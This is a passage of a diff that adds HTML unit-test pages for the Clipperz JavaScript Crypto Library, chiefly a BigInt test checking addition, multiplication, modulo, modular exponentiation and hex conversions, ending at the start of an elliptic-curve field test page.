||||
}
|
||||
|
||||
</script>
|
||||
</pre>
|
||||
</body>
|
||||
</html>
|
||||
478
frontend/gamma/tests/tests/Clipperz/Crypto/BigInt.html
Normal file
@@ -0,0 +1,478 @@
|
||||
<!--
|
||||
|
||||
Copyright 2008-2011 Clipperz Srl
|
||||
|
||||
This file is part of Clipperz's Javascript Crypto Library.
|
||||
Javascript Crypto Library provides web developers with an extensive
|
||||
and efficient set of cryptographic functions. The library aims to
|
||||
obtain maximum execution speed while preserving modularity and
|
||||
reusability.
|
||||
For further information about its features and functionalities please
|
||||
refer to http://www.clipperz.com
|
||||
|
||||
* Javascript Crypto Library is free software: you can redistribute
|
||||
it and/or modify it under the terms of the GNU Affero General Public
|
||||
License as published by the Free Software Foundation, either version
|
||||
3 of the License, or (at your option) any later version.
|
||||
|
||||
* Javascript Crypto Library is distributed in the hope that it will
|
||||
be useful, but WITHOUT ANY WARRANTY; without even the implied
|
||||
warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
See the GNU Affero General Public License for more details.
|
||||
|
||||
* You should have received a copy of the GNU Affero General Public
|
||||
License along with Javascript Crypto Library. If not, see
|
||||
<http://www.gnu.org/licenses/>.
|
||||
|
||||
-->
|
||||
|
||||
<html>
|
||||
<head>
|
||||
<script type="text/javascript" src="../../../../js/MochiKit/MochiKit.js"></script>
|
||||
<script type="text/javascript" src="../../../../js/JSLog/jslog.js"></script>
|
||||
<script type="text/javascript" src="../../../SimpleTest/SimpleTest.js"></script>
|
||||
<link rel="stylesheet" type="text/css" href="../../../SimpleTest/test.css">
|
||||
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/YUI/Utils.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/YUI/DomHelper.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Base.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/ByteArray.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/BigInt.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/Base.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/Functions.js'></script>
|
||||
</head>
|
||||
<body>
|
||||
<pre id="test">
|
||||
<script type="text/javascript">
|
||||
try {
|
||||
var bigInt_1;
|
||||
var bigInt_2;
|
||||
var result;
|
||||
var expectedResult;
|
||||
|
||||
//
|
||||
// Constructur and equality test
|
||||
//
|
||||
bigInt_1 = new Clipperz.Crypto.BigInt("110");
|
||||
is (bigInt_1.equals(bigInt_1), true, "");
|
||||
|
||||
bigInt_1 = new Clipperz.Crypto.BigInt("110");
|
||||
bigInt_2 = new Clipperz.Crypto.BigInt("110", 10);
|
||||
is (bigInt_1.equals(bigInt_2), true, "");
|
||||
|
||||
bigInt_1 = new Clipperz.Crypto.BigInt("110");
|
||||
bigInt_2 = new Clipperz.Crypto.BigInt(110);
|
||||
is (bigInt_1.equals(bigInt_2), true, "");
|
||||
|
||||
bigInt_1 = new Clipperz.Crypto.BigInt(6);
|
||||
bigInt_2 = new Clipperz.Crypto.BigInt("110", 2);
|
||||
is (bigInt_1.equals(bigInt_2), true, "");
|
||||
|
||||
bigInt_1 = new Clipperz.Crypto.BigInt(6);
|
||||
bigInt_2 = new Clipperz.Crypto.BigInt("110", 3);
|
||||
is (bigInt_1.equals(bigInt_2), false, "");
|
||||
|
||||
|
||||
//
|
||||
// Addition test
|
||||
//
|
||||
bigInt_1 = new Clipperz.Crypto.BigInt(6);
|
||||
bigInt_2 = new Clipperz.Crypto.BigInt(110);
|
||||
result = bigInt_1.add(bigInt_2);
|
||||
expectedResult = new Clipperz.Crypto.BigInt(116);
|
||||
is (result.equals(expectedResult), true, "");
|
||||
is (result.equals(Clipperz.Crypto.BigInt.add(bigInt_1, bigInt_2)), true, "instance method === static function");
|
||||
|
||||
bigInt_1 = new Clipperz.Crypto.BigInt(6);
|
||||
result = bigInt_1.add(6);
|
||||
expectedResult = new Clipperz.Crypto.BigInt(12);
|
||||
is (result.equals(expectedResult), true, "");
|
||||
|
||||
bigInt_1 = new Clipperz.Crypto.BigInt("16161616161616161616161616161616161616161616161616161");
|
||||
bigInt_2 = new Clipperz.Crypto.BigInt("42424242424242424242424242424242424242424242424242424");
|
||||
result = bigInt_1.add(bigInt_2);
|
||||
expectedResult = new Clipperz.Crypto.BigInt("58585858585858585858585858585858585858585858585858585");
|
||||
is (result.equals(expectedResult), true, "");
|
||||
|
||||
bigInt_1 = new Clipperz.Crypto.BigInt("16161616161616161616161616161616161616161616161616161");
|
||||
bigInt_2 = new Clipperz.Crypto.BigInt("42424242424242424242424242424242424242424242424242424");
|
||||
result = bigInt_1.add(bigInt_2);
|
||||
expectedResult = new Clipperz.Crypto.BigInt("58585858585858585858585851585858585858585858585858585");
|
||||
is (result.equals(expectedResult), false, "");
|
||||
|
||||
bigInt_1 = new Clipperz.Crypto.BigInt("86161616161616161616161616161616161616161616161616161");
|
||||
bigInt_2 = new Clipperz.Crypto.BigInt("42424242424242424242424242424242424242424242424242424");
|
||||
result = bigInt_1.add(bigInt_2);
|
||||
expectedResult = new Clipperz.Crypto.BigInt("128585858585858585858585858585858585858585858585858585");
|
||||
is (result.equals(expectedResult), true, "");
|
||||
|
||||
bigInt_1 = new Clipperz.Crypto.BigInt( "6541652165410321654063516540621063540654" +
|
||||
"0654065106540654165416521654103216540635" +
|
||||
"1654062106354065406540651065406541");
|
||||
bigInt_2 = new Clipperz.Crypto.BigInt( "3046540351035403510354035103510351351351" +
|
||||
"0351350435103213540634132135401351035403" +
|
||||
"5403540354103540");
|
||||
result = bigInt_1.add(bigInt_2);
|
||||
expectedResult = new Clipperz.Crypto.BigInt( "6541652165410321657110056891656467051008" +
|
||||
"1005100210054167675767872089206430081269" +
|
||||
"2975416119864419441944191419510081");
|
||||
is (result.equals(expectedResult), true, "");
|
||||
|
||||
|
||||
//
|
||||
// Moltiplication test
|
||||
//
|
||||
bigInt_1 = new Clipperz.Crypto.BigInt(6);
|
||||
bigInt_2 = new Clipperz.Crypto.BigInt(110);
|
||||
result = bigInt_1.multiply(bigInt_2);
|
||||
expectedResult = new Clipperz.Crypto.BigInt(660);
|
||||
is (result.equals(expectedResult), true, "");
|
||||
|
||||
bigInt_1 = new Clipperz.Crypto.BigInt(6);
|
||||
result = bigInt_1.multiply(5);
|
||||
expectedResult = new Clipperz.Crypto.BigInt(30);
|
||||
is (result.equals(expectedResult), true, "");
|
||||
|
||||
bigInt_1 = new Clipperz.Crypto.BigInt( "5465465165465465132743540354354032135463" +
|
||||
"5435135403513516843052413543054035");
|
||||
bigInt_2 = new Clipperz.Crypto.BigInt( "3543513543543213543032135435413054365430" +
|
||||
"5130513540351354354305435403");
|
||||
result = bigInt_1.multiply(bigInt_2);
|
||||
expectedResult = new Clipperz.Crypto.BigInt( "1936694983559052629352223965314822970014" +
|
||||
"6364423657014976098029153153101751605574" +
|
||||
"5077086464435601381095664357540911830059" +
|
||||
"9503335163757031001105");
|
||||
is (result.equals(expectedResult), true, "");
|
||||
|
||||
//
|
||||
// Module test
|
||||
//
|
||||
bigInt_1 = new Clipperz.Crypto.BigInt(106);
|
||||
bigInt_2 = new Clipperz.Crypto.BigInt(10);
|
||||
result = bigInt_1.module(bigInt_2);
|
||||
expectedResult = new Clipperz.Crypto.BigInt(6);
|
||||
is (result.equals(expectedResult), true, "");
|
||||
|
||||
bigInt_1 = new Clipperz.Crypto.BigInt(106);
|
||||
result = bigInt_1.module(10);
|
||||
expectedResult = new Clipperz.Crypto.BigInt(6);
|
||||
is (result.equals(expectedResult), true, "");
|
||||
|
||||
bigInt_1 = new Clipperz.Crypto.BigInt( "5465465465468468465468463541358438543513" +
|
||||
"8543135435135423545624354235123512531235" +
|
||||
"1356463543840351351305135435121354305413" +
|
||||
"543");
|
||||
|
||||
|
||||
bigInt_2 = new Clipperz.Crypto.BigInt( "3543543213543213540543545463542354385768" +
|
||||
"512584354354215");
|
||||
result = bigInt_1.module(bigInt_2);
|
||||
expectedResult = new Clipperz.Crypto.BigInt("52689987206612998786765715819079250963638640081836513");
|
||||
is (result.equals(expectedResult), true, "");
|
||||
|
||||
//
|
||||
// Power (Module) test
|
||||
//
|
||||
bigInt_1 = new Clipperz.Crypto.BigInt(6);
|
||||
bigInt_2 = new Clipperz.Crypto.BigInt(3);
|
||||
result = bigInt_1.powerModule(bigInt_2, new Clipperz.Crypto.BigInt(1000));
|
||||
expectedResult = new Clipperz.Crypto.BigInt(216);
|
||||
is (result.equals(expectedResult), true, "");
|
||||
|
||||
bigInt_1 = new Clipperz.Crypto.BigInt(6);
|
||||
result = bigInt_1.powerModule(3, 1000);
|
||||
expectedResult = new Clipperz.Crypto.BigInt(216);
|
||||
is (result.equals(expectedResult), true, "");
|
||||
|
||||
bigInt_1 = new Clipperz.Crypto.BigInt("354354354354687638546846846846846576876468746846846846");
|
||||
bigInt_2 = new Clipperz.Crypto.BigInt("354");
|
||||
result = bigInt_1.powerModule(bigInt_2, new Clipperz.Crypto.BigInt("3543541354354354354354351354354351354354354354354354"));
|
||||
expectedResult = new Clipperz.Crypto.BigInt("1957028940698171231089373321334263118681605242465644");
|
||||
is (result.equals(expectedResult), true, "");
|
||||
|
||||
bigInt_1 = new Clipperz.Crypto.BigInt("e0f6c73cf1d3715a0d77dc3a4eb9c66c01d913c91bc22d9672d83958445424a1", 16);
|
||||
// is(bigInt_1.toString(16), "e0f6c73cf1d3715a0d77dc3a4eb9c66c01d913c91bc22d9672d83958445424a1", "IE bug");
|
||||
is(bigInt_1.asString(16), "e0f6c73cf1d3715a0d77dc3a4eb9c66c01d913c91bc22d9672d83958445424a1", "fix for IE bug");
|
||||
|
||||
|
||||
bigInt_1 = new Clipperz.Crypto.BigInt("000108cbbacda1f03ea9360301045434ec7d82ba150936df08a229cbb4832ce1", 16);
|
||||
is(bigInt_1.asString(16, 64), "000108cbbacda1f03ea9360301045434ec7d82ba150936df08a229cbb4832ce1", "fix to ensure the string representation has a minimum fixed length");
|
||||
|
||||
/*
|
||||
//
|
||||
// Comparison
|
||||
//
|
||||
bigInt_1 = new Clipperz.Crypto.BigInt("0", 10);
|
||||
bigInt_2 = new Clipperz.Crypto.BigInt("0", 10);
|
||||
is (bigInt_1.equals(bigInt_2), true, "bigInt(0) = bigInt(0)");
|
||||
is (bigInt_1.equals(0), true, "bigInt(0) = 0");
|
||||
|
||||
bigInt_1 = new Clipperz.Crypto.BigInt("000108cbbacda1f03ea9360301045434ec7d82ba150936df08a229cbb4832ce1", 16);
|
||||
is (bigInt_1.equals(bigInt_2), false, "bigInt(xxxxxx) != bigInt(0)");
|
||||
is (bigInt_1.equals(0), false, "bigInt(xxxxx) != 0");
|
||||
|
||||
bigInt_1 = new Clipperz.Crypto.BigInt("000108cbbacda1f03ea9360301045434ec7d82ba150936df08a229cbb4832ce1", 16);
|
||||
bigInt_2 = new Clipperz.Crypto.BigInt("0", 16);
|
||||
is(bigInt_1.compare(bigInt_2), 1, "bigInt(xxxxxx) > bigInt(0)");
|
||||
is(bigInt_2.compare(bigInt_1), -1, "bigInt(0) < bigInt(xxxx)");
|
||||
|
||||
bigInt_1 = new Clipperz.Crypto.BigInt("000108cbbacda1f03ea9360301045434ec7d82ba150936df08a229cbb4832ce1", 16);
|
||||
bigInt_2 = new Clipperz.Crypto.BigInt("05", 16);
|
||||
is(bigInt_1.compare(bigInt_2), 1, "bigInt(xxxxxx) > bigInt(05)");
|
||||
is(bigInt_2.compare(bigInt_1), -1, "bigInt(05) < bigInt(xxxx)");
|
||||
|
||||
bigInt_1 = new Clipperz.Crypto.BigInt("-10", 10);
|
||||
bigInt_2 = new Clipperz.Crypto.BigInt("10", 10);
|
||||
is(bigInt_1.equals(bigInt_2), true, "bigInt(-10) - bigInt(10). No negative number are managed");
|
||||
|
||||
//
|
||||
// XOR
|
||||
//
|
||||
bigInt_1 = new Clipperz.Crypto.BigInt("e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", 16);
|
||||
bigInt_2 = new Clipperz.Crypto.BigInt("e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", 16);
|
||||
result = bigInt_1.xor(bigInt_2);
|
||||
expectedResult = new Clipperz.Crypto.BigInt(0);
|
||||
is(result.asString(16), expectedResult.asString(16), "a xor a = 0");
|
||||
|
||||
//
|
||||
bigInt_1 = new Clipperz.Crypto.BigInt("e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", 16);
|
||||
bigInt_2 = new Clipperz.Crypto.BigInt("e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b935ca495991b7852b855", 16);
|
||||
result = bigInt_1.xor(bigInt_2);
|
||||
expectedResult = new Clipperz.Crypto.BigInt('295147905179352825856');
|
||||
is(result.asString(16), expectedResult.asString(16), "single bit difference");
|
||||
|
||||
//
|
||||
bigInt_1 = new Clipperz.Crypto.BigInt("01", 16);
|
||||
bigInt_2 = new Clipperz.Crypto.BigInt("e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b935ca495991b7852b855", 16);
|
||||
result = bigInt_1.xor(bigInt_2);
|
||||
expectedResult = new Clipperz.Crypto.BigInt('102987336249554097029535212322581322789799900648198034993674544906295017912404');
|
||||
is(result.asString(16), expectedResult.asString(16), "01 xor value");
|
||||
|
||||
//
|
||||
bigInt_1 = new Clipperz.Crypto.BigInt("e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", 16);
|
||||
bigInt_2 = new Clipperz.Crypto.BigInt("f3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", 16);
|
||||
result = bigInt_1.xor(bigInt_2);
|
||||
expectedResult = new Clipperz.Crypto.BigInt('7237005577332262213973186563042994240829374041602535252466099000494570602496');
|
||||
is(result.asString(16), expectedResult.asString(16), "first bit difference xor");
|
||||
|
||||
|
||||
//
|
||||
// isBitSet
|
||||
//
|
||||
bigInt_1 = new Clipperz.Crypto.BigInt("ff", 16);
|
||||
result = bigInt_1.isBitSet(1);
|
||||
expectedResult = true;
|
||||
is(result, expectedResult, "'ff'.isBitSet(1)");
|
||||
|
||||
bigInt_1 = new Clipperz.Crypto.BigInt("f0", 16);
|
||||
result = bigInt_1.isBitSet(1);
|
||||
expectedResult = false;
|
||||
is(result, expectedResult, "'f0'.isBitSet(1)");
|
||||
|
||||
bigInt_1 = new Clipperz.Crypto.BigInt("f0", 16);
|
||||
result = bigInt_1.isBitSet(3);
|
||||
expectedResult = false;
|
||||
is(result, expectedResult, "'f0'.isBitSet(3)");
|
||||
|
||||
bigInt_1 = new Clipperz.Crypto.BigInt("f0", 16);
|
||||
result = bigInt_1.isBitSet(4);
|
||||
expectedResult = true;
|
||||
is(result, expectedResult, "'f0'.isBitSet(4)");
|
||||
|
||||
bigInt_1 = new Clipperz.Crypto.BigInt("ff00", 16);
|
||||
result = bigInt_1.isBitSet(7);
|
||||
expectedResult = false;
|
||||
is(result, expectedResult, "'ff00'.isBitSet(7)");
|
||||
|
||||
bigInt_1 = new Clipperz.Crypto.BigInt("ff00", 16);
|
||||
result = bigInt_1.isBitSet(8);
|
||||
expectedResult = true;
|
||||
is(result, expectedResult, "'ff00'.isBitSet(8)");
|
||||
|
||||
//
|
||||
bigInt_1 = new Clipperz.Crypto.BigInt("05000000000000", 16);
|
||||
result = bigInt_1.isBitSet(47);
|
||||
expectedResult = false;
|
||||
is(result, expectedResult, "'05000000000000'.isBitSet(47)");
|
||||
|
||||
result = bigInt_1.isBitSet(48);
|
||||
expectedResult = true;
|
||||
is(result, expectedResult, "'05000000000000'.isBitSet(48)");
|
||||
|
||||
result = bigInt_1.isBitSet(49);
|
||||
expectedResult = false;
|
||||
is(result, expectedResult, "'05000000000000'.isBitSet(49)");
|
||||
|
||||
result = bigInt_1.isBitSet(50);
|
||||
expectedResult = true;
|
||||
is(result, expectedResult, "'05000000000000'.isBitSet(50)");
|
||||
|
||||
result = bigInt_1.isBitSet(51);
|
||||
expectedResult = false;
|
||||
is(result, expectedResult, "'05000000000000'.isBitSet(51)");
|
||||
|
||||
//
|
||||
bigInt_1 = new Clipperz.Crypto.BigInt("e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", 16);
|
||||
|
||||
result = bigInt_1.isBitSet(52);
|
||||
expectedResult = true;
|
||||
is(result, expectedResult, "'e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855'.isBitSet(52)");
|
||||
|
||||
result = bigInt_1.isBitSet(53);
|
||||
expectedResult = false;
|
||||
is(result, expectedResult, "'e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855'.isBitSet(53)");
|
||||
|
||||
result = bigInt_1.isBitSet(54);
|
||||
expectedResult = false;
|
||||
is(result, expectedResult, "'e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855'.isBitSet(54)");
|
||||
|
||||
result = bigInt_1.isBitSet(55);
|
||||
expectedResult = true;
|
||||
is(result, expectedResult, "'e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855'.isBitSet(55)");
|
||||
|
||||
result = bigInt_1.isBitSet(56);
|
||||
expectedResult = false;
|
||||
is(result, expectedResult, "'e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855'.isBitSet(56)");
|
||||
|
||||
result = bigInt_1.isBitSet(57);
|
||||
expectedResult = false;
|
||||
is(result, expectedResult, "'e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855'.isBitSet(57)");
|
||||
|
||||
result = bigInt_1.isBitSet(58);
|
||||
expectedResult = true;
|
||||
is(result, expectedResult, "'e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855'.isBitSet(58)");
|
||||
|
||||
result = bigInt_1.isBitSet(59);
|
||||
expectedResult = false;
|
||||
is(result, expectedResult, "'e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855'.isBitSet(59)");
|
||||
|
||||
result = bigInt_1.isBitSet(60);
|
||||
expectedResult = false;
|
||||
is(result, expectedResult, "'e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855'.isBitSet(60)");
|
||||
|
||||
//
|
||||
// shiftLeft
|
||||
//
|
||||
bigInt_1 = new Clipperz.Crypto.BigInt("7f", 16);
|
||||
result = bigInt_1.shiftLeft(1);
|
||||
expectedResult = new Clipperz.Crypto.BigInt('fe', 16);
|
||||
is(result.asString(16), expectedResult.asString(16), "'7f'.shiftLeft(1)");
|
||||
|
||||
bigInt_1 = new Clipperz.Crypto.BigInt("ff", 16);
|
||||
result = bigInt_1.shiftLeft(1);
|
||||
expectedResult = new Clipperz.Crypto.BigInt('01fe', 16);
|
||||
is(result.asString(16), expectedResult.asString(16), "'ff'.shiftLeft(1)");
|
||||
|
||||
bigInt_1 = new Clipperz.Crypto.BigInt("e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", 16);
|
||||
result = bigInt_1.shiftLeft(2);
|
||||
expectedResult = new Clipperz.Crypto.BigInt('411949344998216388118140849290325291159199602592792139973517588004462660346196', 10);
|
||||
is(result.asString(16), expectedResult.asString(16), "bigInt.shiftLeft(10)");
|
||||
|
||||
bigInt_1 = new Clipperz.Crypto.BigInt("e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", 16);
|
||||
result = bigInt_1.shiftLeft(8);
|
||||
expectedResult = new Clipperz.Crypto.BigInt('e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b85500', 16);
|
||||
is(result.asString(16), expectedResult.asString(16), "bigInt.shiftLeft(8)");
|
||||
|
||||
bigInt_1 = new Clipperz.Crypto.BigInt("e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", 16);
|
||||
result = bigInt_1.shiftLeft(10);
|
||||
expectedResult = new Clipperz.Crypto.BigInt('105459032319543395358244057418323274536755098263754787833220502529142441048626176', 10);
|
||||
is(result.asString(16), expectedResult.asString(16), "bigInt.shiftLeft(10)");
|
||||
|
||||
bigInt_1 = new Clipperz.Crypto.BigInt("ff", 16);
|
||||
result = bigInt_1.shiftLeft(4096);
|
||||
expectedResult = new Clipperz.Crypto.BigInt('266319164760353889206396941232739217557890883507082863997979538237408246532747151496450837043424377376926977212182012023686831226737377369852125202402098145876219029018646049576792205484267848170179157853023266287725961304046416750146445344507869587461686016719979944538177432428730245324189334334817497396705169439104855885416460935698516539852892760625369984672271807592980051379072961966267124963131928067770749329011150668180796667192392027523071601150548205543997146350727148885425131890513407882508735446345822174200042918879518190588482963417582471561436215675823872015307629566605147920139961896995509627341070659007877630760561618021922340198636222738900413041589858099507891702174848695380017286939422770656819923801325579542295611580916900945707539132241939193098989585491346846486694653352501301851631933610655701026861715541355665900384634131852357081890301147104554877895768806174478161952060916705243614916310627428392386264214492834954273769685672081818149530274447979003153864646452529328518204716201193108795473912970645455457215455929896570875795325190705652768977680951535622436287312272907838194995042100153360373621439300266297151905265332115434133380301670205335338558744799343198526203012170200626802804318535680', 10);
|
||||
is(result.asString(16), expectedResult.asString(16), "bigInt.shiftLeft(4096)");
|
||||
|
||||
bigInt_1 = new Clipperz.Crypto.BigInt("ff", 16);
|
||||
result = bigInt_1.shiftLeft(5000);
|
||||
expectedResult = new Clipperz.Crypto.BigInt('36017909319555363939297846508911757008556852467205798478749046189356513330989041570231272721076143922520578818149998351104871978707844731275672652360293180474918203352225676748028889909508585302690242044220987556901043359920075229167479636668489487021705618421769517884399224788393498408327257966673365451264730932480701037648195190724361287852846952667257156204462064385766889505990099642052739974651257588866645027017486311782036674195285521311468922365736517586569614071211079825802088151607502649165228246449902253708785396560087430392277977851200155957347440614508171640900912431375050142178348130480158080696562512167652410483775588091117019722112093545783277082149415339867358805673644654236371762589715111732737686904860620316822561292797144756685380676343141118415434643259498221414744450502163805872581378284735047416230112208369784803081434462030568662742790926051825877463257023387907801068796855629691810029349692983890802136654401365294584656484852908751516361546884362396124203127393434938355516740711953765305060269622960662047729516459906444429108776596594293559927265789943280929098971285454533928986078946124455350540187565506016643147748500262510780357259199808936108629893209819473029835119866186316144675107047007737043503194737001430981972314376700993832503282107582239603281145093446879837002884732470988727066207277180181469885503549870618810897831820650576980763622189213611885522245978572420535750015505830146119605502167931087454823309031494727688701857532561113118183883936890880', 10);
|
||||
is(result.asString(16), expectedResult.asString(16), "bigInt.shiftLeft(4096)");
|
||||
|
||||
|
||||
//
|
||||
// BigInt compare vs ByteArray compare
|
||||
//
|
||||
var bigInt_byteArray_1;
|
||||
var bigInt_byteArray_2;
|
||||
|
||||
//
|
||||
bigInt_1 = new Clipperz.Crypto.BigInt("e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", 16);
|
||||
bigInt_2 = new Clipperz.Crypto.BigInt("e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", 16);
|
||||
bitInt_byteArray_1 = bigInt_1.asByteArray();
|
||||
bitInt_byteArray_2 = bigInt_2.asByteArray();
|
||||
|
||||
result = bigInt_1.compare(bigInt_2);
|
||||
expectedResult = bitInt_byteArray_1.compare(bitInt_byteArray_2);
|
||||
is(result, expectedResult, "equal compare");
|
||||
|
||||
//
|
||||
bigInt_1 = new Clipperz.Crypto.BigInt("e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", 16);
|
||||
bigInt_2 = new Clipperz.Crypto.BigInt("f3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", 16);
|
||||
bitInt_byteArray_1 = bigInt_1.asByteArray();
|
||||
bitInt_byteArray_2 = bigInt_2.asByteArray();
|
||||
|
||||
result = bigInt_1.compare(bigInt_2);
|
||||
expectedResult = bitInt_byteArray_1.compare(bitInt_byteArray_2);
|
||||
is(result, expectedResult, "second term with one more bit at the leftmost - compare");
|
||||
|
||||
//
|
||||
bigInt_1 = new Clipperz.Crypto.BigInt("f3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", 16);
|
||||
bigInt_2 = new Clipperz.Crypto.BigInt("e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", 16);
|
||||
bitInt_byteArray_1 = bigInt_1.asByteArray();
|
||||
bitInt_byteArray_2 = bigInt_2.asByteArray();
|
||||
|
||||
result = bigInt_1.compare(bigInt_2);
|
||||
expectedResult = bitInt_byteArray_1.compare(bitInt_byteArray_2);
|
||||
is(result, expectedResult, "first term with one more bit at the leftmost - compare");
|
||||
|
||||
//
|
||||
bigInt_1 = new Clipperz.Crypto.BigInt("e3b0c44298fc1c149afbf4c8996fb92427af41e4649b934ca495991b7852b855", 16);
|
||||
bigInt_2 = new Clipperz.Crypto.BigInt("e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", 16);
|
||||
bitInt_byteArray_1 = bigInt_1.asByteArray();
|
||||
bitInt_byteArray_2 = bigInt_2.asByteArray();
|
||||
|
||||
result = bigInt_1.compare(bigInt_2);
|
||||
expectedResult = bitInt_byteArray_1.compare(bitInt_byteArray_2);
|
||||
is(result, expectedResult, "first term with one more bit in the middle - compare");
|
||||
|
||||
//
|
||||
bigInt_1 = new Clipperz.Crypto.BigInt("e3b0c44298fc1c149afbf4c8996fb92427af41e4649b934ca495991b7852b855", 16);
|
||||
bigInt_2 = new Clipperz.Crypto.BigInt("e3b0c44298fc1c149afbf4c8996fb92427aeffffffffffffffffffffffffffff", 16);
|
||||
bitInt_byteArray_1 = bigInt_1.asByteArray();
|
||||
bitInt_byteArray_2 = bigInt_2.asByteArray();
|
||||
|
||||
result = bigInt_1.compare(bigInt_2);
|
||||
expectedResult = bitInt_byteArray_1.compare(bitInt_byteArray_2);
|
||||
is(result, expectedResult, "first term with one more bit in the middle - compare");
|
||||
|
||||
//
|
||||
bigInt_1 = new Clipperz.Crypto.BigInt("e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", 16);
|
||||
bigInt_2 = new Clipperz.Crypto.BigInt("05", 16);
|
||||
bitInt_byteArray_1 = bigInt_1.asByteArray();
|
||||
bitInt_byteArray_2 = bigInt_2.asByteArray();
|
||||
|
||||
result = bigInt_1.compare(bigInt_2);
|
||||
expectedResult = bitInt_byteArray_1.compare(bitInt_byteArray_2);
|
||||
is(result, expectedResult, "equal compare");
|
||||
*/
|
||||
//-------------------------------------------------------------------------
|
||||
} catch (err) {
|
||||
|
||||
var s = "test suite failure!\n";
|
||||
var o = {};
|
||||
var k = null;
|
||||
for (k in err) {
|
||||
// ensure unique keys?!
|
||||
if (!o[k]) {
|
||||
s += k + ": " + err[k] + "\n";
|
||||
o[k] = err[k];
|
||||
}
|
||||
}
|
||||
ok ( false, s );
|
||||
}
|
||||
|
||||
</script>
|
||||
</pre>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,155 @@
|
||||
<!--
|
||||
|
||||
Copyright 2008-2011 Clipperz Srl
|
||||
|
||||
This file is part of Clipperz's Javascript Crypto Library.
|
||||
Javascript Crypto Library provides web developers with an extensive
|
||||
and efficient set of cryptographic functions. The library aims to
|
||||
obtain maximum execution speed while preserving modularity and
|
||||
reusability.
|
||||
For further information about its features and functionalities please
|
||||
refer to http://www.clipperz.com
|
||||
|
||||
* Javascript Crypto Library is free software: you can redistribute
|
||||
it and/or modify it under the terms of the GNU Affero General Public
|
||||
License as published by the Free Software Foundation, either version
|
||||
3 of the License, or (at your option) any later version.
|
||||
|
||||
* Javascript Crypto Library is distributed in the hope that it will
|
||||
be useful, but WITHOUT ANY WARRANTY; without even the implied
|
||||
warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
See the GNU Affero General Public License for more details.
|
||||
|
||||
* You should have received a copy of the GNU Affero General Public
|
||||
License along with Javascript Crypto Library. If not, see
|
||||
<http://www.gnu.org/licenses/>.
|
||||
|
||||
-->
|
||||
|
||||
<html>
|
||||
<head>
|
||||
<!-- - ->
|
||||
<script type="text/javascript" src="../../../../js/MochiKit/MochiKit.js"></script>
|
||||
<!- - -->
|
||||
<!-- -->
|
||||
<script type="text/javascript" src="../../../../js/MochiKit/Base.js"></script>
|
||||
<script type="text/javascript" src="../../../../js/MochiKit/Async.js"></script>
|
||||
<script type="text/javascript" src="../../../../js/MochiKit/DOM.js"></script>
|
||||
<script type="text/javascript" src="../../../../js/MochiKit/Logging.js"></script>
|
||||
<script type="text/javascript" src="../../../../js/MochiKit/Iter.js"></script>
|
||||
<!-- -->
|
||||
|
||||
<!-- - ->
|
||||
<script type="text/javascript" src="../../../../js/MochiKit/Style.js"></script>
|
||||
<script type="text/javascript" src="../../../../js/MochiKit/Signal.js"></script>
|
||||
<script type="text/javascript" src="../../../../js/MochiKit/Color.js"></script>
|
||||
<script type="text/javascript" src="../../../../js/MochiKit/Position.js"></script>
|
||||
<script type="text/javascript" src="../../../../js/MochiKit/Visual.js"></script>
|
||||
<!- - -->
|
||||
|
||||
|
||||
<script type="text/javascript" src="../../../SimpleTest/SimpleTest.js"></script>
|
||||
<link rel="stylesheet" type="text/css" href="../../../SimpleTest/test.css">
|
||||
|
||||
<!--<script type='text/javascript' src='../../../../js/Clipperz/Base.js'></script>-->
|
||||
<!--<script type='text/javascript' src='../../../../js/Clipperz/ByteArray.js'></script>-->
|
||||
<!--<script type='text/javascript' src='../../../../js/Clipperz/Crypto/Base.js'></script>-->
|
||||
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/ECC/BinaryField/Value.js'></script>
|
||||
